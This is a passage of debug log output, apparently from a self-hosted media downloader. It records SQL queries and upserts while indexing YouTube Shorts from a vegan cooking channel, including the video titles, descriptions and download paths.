244, "timestamp" => 1662739218, "title" => "Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts", "upload_date" => "20220909"} 20:27:18.955 [debug] QUERY OK source="sources" db=0.5ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:18.956 [debug] QUERY OK source="sources" db=0.3ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:18.959 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-09 16:00:18Z], 1] 20:27:18.961 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Tomorrow we launch our first episode of a new series called Good Morning Vegan Fam where we'll be doing all kinds of strange food taste tests, reactions, reviews and food challenges. Subscribe and prepare yourself to go interdimensional, like Rick and Morty, with us in episode 1.", "Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts", "25623cc3-5d47-4191-ba06-c92a9e073b06", 1, [], 15, false, "F-BU7RrjX2M", "https://www.youtube.com/shorts/F-BU7RrjX2M", 244, "/downloads/downloads/alec/Steamy Vegan/2022-09-09 Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts/Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts [F-BU7RrjX2M].NA", false, false, true, 1, ~U[2022-09-09 16:00:18Z], ~U[2026-03-22 03:27:18Z], ~U[2026-03-22 03:27:18Z], "Tomorrow we launch our first episode of a new series called Good Morning Vegan Fam where we'll be doing all kinds of strange food taste tests, reactions, reviews and food challenges. Subscribe and prepare yourself to go interdimensional, like Rick and Morty, with us in episode 1.", "Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts", 1, 15, false, "F-BU7RrjX2M", "https://www.youtube.com/shorts/F-BU7RrjX2M", "/downloads/downloads/alec/Steamy Vegan/2022-09-09 Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts/Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts [F-BU7RrjX2M].NA", true, ~U[2022-09-09 16:00:18Z]] 20:27:18.961 [debug] QUERY OK source="sources" db=0.6ms idle=788.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:18.962 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:18.963 [debug] QUERY OK source="media_items" db=0.5ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [633] 20:27:18.963 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We're excited to have you join us for the premiere of our weekly Saturday morning food taste test and review show. We're both a bit goofy so hopefully you get a few laughs from our pain and torture during some of these funny taste tests and challenges.\n\nSubscribe and stay tuned for season 1, episode 1! Thanks for your support! Janelle and Brad", "duration" => 20, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Weekly Morning Show Premiering This Saturday ❤️#shorts/Weekly Morning Show Premiering This Saturday ❤️#shorts [EPPmya1cyPw].NA", "id" => "EPPmya1cyPw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/EPPmya1cyPw", "playlist_index" => 245, "timestamp" => 1662670810, "title" => "Weekly Morning Show Premiering This Saturday ❤️#shorts", "upload_date" => "20220908"} 20:27:18.964 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:18.964 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:18.966 [debug] QUERY OK source="media_items" db=1.6ms idle=2.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-08 21:00:10Z], 1] 20:27:18.968 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're excited to have you join us for the premiere of our weekly Saturday morning food taste test and review show. We're both a bit goofy so hopefully you get a few laughs from our pain and torture during some of these funny taste tests and challenges.\n\nSubscribe and stay tuned for season 1, episode 1! Thanks for your support! Janelle and Brad", "Weekly Morning Show Premiering This Saturday ❤️#shorts", "1f3bb408-e3a4-4d30-977c-e0d4746a1193", 1, [], 20, false, "EPPmya1cyPw", "https://www.youtube.com/shorts/EPPmya1cyPw", 245, "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Weekly Morning Show Premiering This Saturday ❤️#shorts/Weekly Morning Show Premiering This Saturday ❤️#shorts [EPPmya1cyPw].NA", false, false, true, 0, ~U[2022-09-08 21:00:10Z], ~U[2026-03-22 03:27:18Z], ~U[2026-03-22 03:27:18Z], "We're excited to have you join us for the premiere of our weekly Saturday morning food taste test and review show. We're both a bit goofy so hopefully you get a few laughs from our pain and torture during some of these funny taste tests and challenges.\n\nSubscribe and stay tuned for season 1, episode 1! Thanks for your support! Janelle and Brad", "Weekly Morning Show Premiering This Saturday ❤️#shorts", 1, 20, false, "EPPmya1cyPw", "https://www.youtube.com/shorts/EPPmya1cyPw", "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Weekly Morning Show Premiering This Saturday ❤️#shorts/Weekly Morning Show Premiering This Saturday ❤️#shorts [EPPmya1cyPw].NA", true, ~U[2022-09-08 21:00:10Z]] 20:27:18.968 [debug] QUERY OK source="sources" db=0.6ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:18.969 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:18.970 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [634] 20:27:18.970 [debug] Current batch of media processed. Will check again in 1000ms 20:27:19.971 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This Saturday will be our very first episode of Good Morning Vegan Fam, a morning show where we do weird food taste tests, food reviews, and food challenges. The whole goal of this show is to have fun and hopefully bring a few laughs to your morning.\n\nWe hope you enjoy and don't forget to subscribe so you don't miss any of the episodes in this series! Thanks for your support! Brad and Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts/Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts [GdEvtXPLd0I].NA", "id" => "GdEvtXPLd0I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/GdEvtXPLd0I", "playlist_index" => 246, "timestamp" => 1662663940, "title" => "Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts", "upload_date" => "20220908"} 20:27:19.972 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:19.973 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:19.976 [debug] QUERY OK source="media_items" db=2.8ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-08 19:05:40Z], 1] 20:27:19.978 [debug] QUERY OK source="media_items" db=1.3ms idle=1007.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Saturday will be our very first episode of Good Morning Vegan Fam, a morning show where we do weird food taste tests, food reviews, and food challenges. The whole goal of this show is to have fun and hopefully bring a few laughs to your morning.\n\nWe hope you enjoy and don't forget to subscribe so you don't miss any of the episodes in this series! Thanks for your support! Brad and Janelle", "Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts", "43a27ae5-41a8-4efc-a566-1d7b3281fbdf", 1, [], 15, false, "GdEvtXPLd0I", "https://www.youtube.com/shorts/GdEvtXPLd0I", 246, "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts/Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts [GdEvtXPLd0I].NA", false, false, true, 1, ~U[2022-09-08 19:05:40Z], ~U[2026-03-22 03:27:19Z], ~U[2026-03-22 03:27:19Z], "This Saturday will be our very first episode of Good Morning Vegan Fam, a morning show where we do weird food taste tests, food reviews, and food challenges. The whole goal of this show is to have fun and hopefully bring a few laughs to your morning.\n\nWe hope you enjoy and don't forget to subscribe so you don't miss any of the episodes in this series! Thanks for your support! Brad and Janelle", "Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts", 1, 15, false, "GdEvtXPLd0I", "https://www.youtube.com/shorts/GdEvtXPLd0I", "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts/Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts [GdEvtXPLd0I].NA", true, ~U[2022-09-08 19:05:40Z]] 20:27:19.979 [debug] QUERY OK source="sources" db=0.8ms idle=804.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:19.980 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:19.981 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [635] 20:27:19.981 [debug] Current batch of media processed. Will check again in 1000ms 20:27:20.982 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We taste tested 4 of the top vegan cheeses and tried them out in vegan grilled cheeses. We also had a non vegan stop by so we could get their reaction to these vegan cheeses.\n\nCheck out the full video here: https://youtu.be/lgPeexeqpJw", "duration" => 26, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-06 What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts/What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts [sstBvNHrm04].NA", "id" => "sstBvNHrm04", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/sstBvNHrm04", "playlist_index" => 247, "timestamp" => 1662485242, "title" => "What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts", "upload_date" => "20220906"} 20:27:20.983 [debug] QUERY OK source="sources" db=0.6ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:20.984 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:20.986 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-06 17:27:22Z], 1] 20:27:20.987 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste tested 4 of the top vegan cheeses and tried them out in vegan grilled cheeses. We also had a non vegan stop by so we could get their reaction to these vegan cheeses.\n\nCheck out the full video here: https://youtu.be/lgPeexeqpJw", "What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts", "a7f82199-d5f9-4f1c-9355-dea66b926217", 1, [], 26, false, "sstBvNHrm04", "https://www.youtube.com/shorts/sstBvNHrm04", 247, "/downloads/downloads/alec/Steamy Vegan/2022-09-06 What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts/What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts [sstBvNHrm04].NA", false, false, true, 0, ~U[2022-09-06 17:27:22Z], ~U[2026-03-22 03:27:20Z], ~U[2026-03-22 03:27:20Z], "We taste tested 4 of the top vegan cheeses and tried them out in vegan grilled cheeses. We also had a non vegan stop by so we could get their reaction to these vegan cheeses.\n\nCheck out the full video here: https://youtu.be/lgPeexeqpJw", "What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts", 1, 26, false, "sstBvNHrm04", "https://www.youtube.com/shorts/sstBvNHrm04", "/downloads/downloads/alec/Steamy Vegan/2022-09-06 What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts/What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts [sstBvNHrm04].NA", true, ~U[2022-09-06 17:27:22Z]] 20:27:20.988 [debug] QUERY OK source="sources" db=0.4ms idle=811.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:20.988 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:20.989 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [636] 20:27:20.989 [debug] Current batch of media processed. Will check again in 1000ms 20:27:21.990 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "EASY 4-INGREDIENT BLUEBERRY SAUCE 🫐\n\nIf you just stocked up on end-of-summer blueberries then you NEED to try this easy blueberry sauce! 💙 Perfect for waffles, pancakes, French toast and oatmeal 😌\n\nSave this post for later! ✔️ \n\nIngredients: ~ 2 cups fresh or frozen 🫐 - 2 tbsp maple syrup - 1.5 tbsp tapioca starch - 2 tbsp lemon juice 🍋 \nIn a saucepan combine the blueberries with the tapioca starch, then drizzle the maple syrup and stir to combine. Bring to a low boil on medium high heat, adding about 1/2 cup of water as needed to prevent sticking/burning. Once bubbling, reduce heat to medium low and add pinch of salt and lemon juice, stirring frequently. Once the sauce has reduced to your desired thickness/runniness remove from the heat and enjoy to your hearts content 💙\n\nFollow @steamyvegankitchen for more delicious plant based recipes! 🌱", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-05 4-Ingredient Blueberry Sauce 🫐😌/4-Ingredient Blueberry Sauce 🫐😌 [YthJ8QFmPjw].NA", "id" => "YthJ8QFmPjw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/YthJ8QFmPjw", "playlist_index" => 248, "timestamp" => 1662396000, "title" => "4-Ingredient Blueberry Sauce 🫐😌", "upload_date" => "20220905"} 20:27:21.991 [debug] QUERY OK source="sources" db=0.3ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 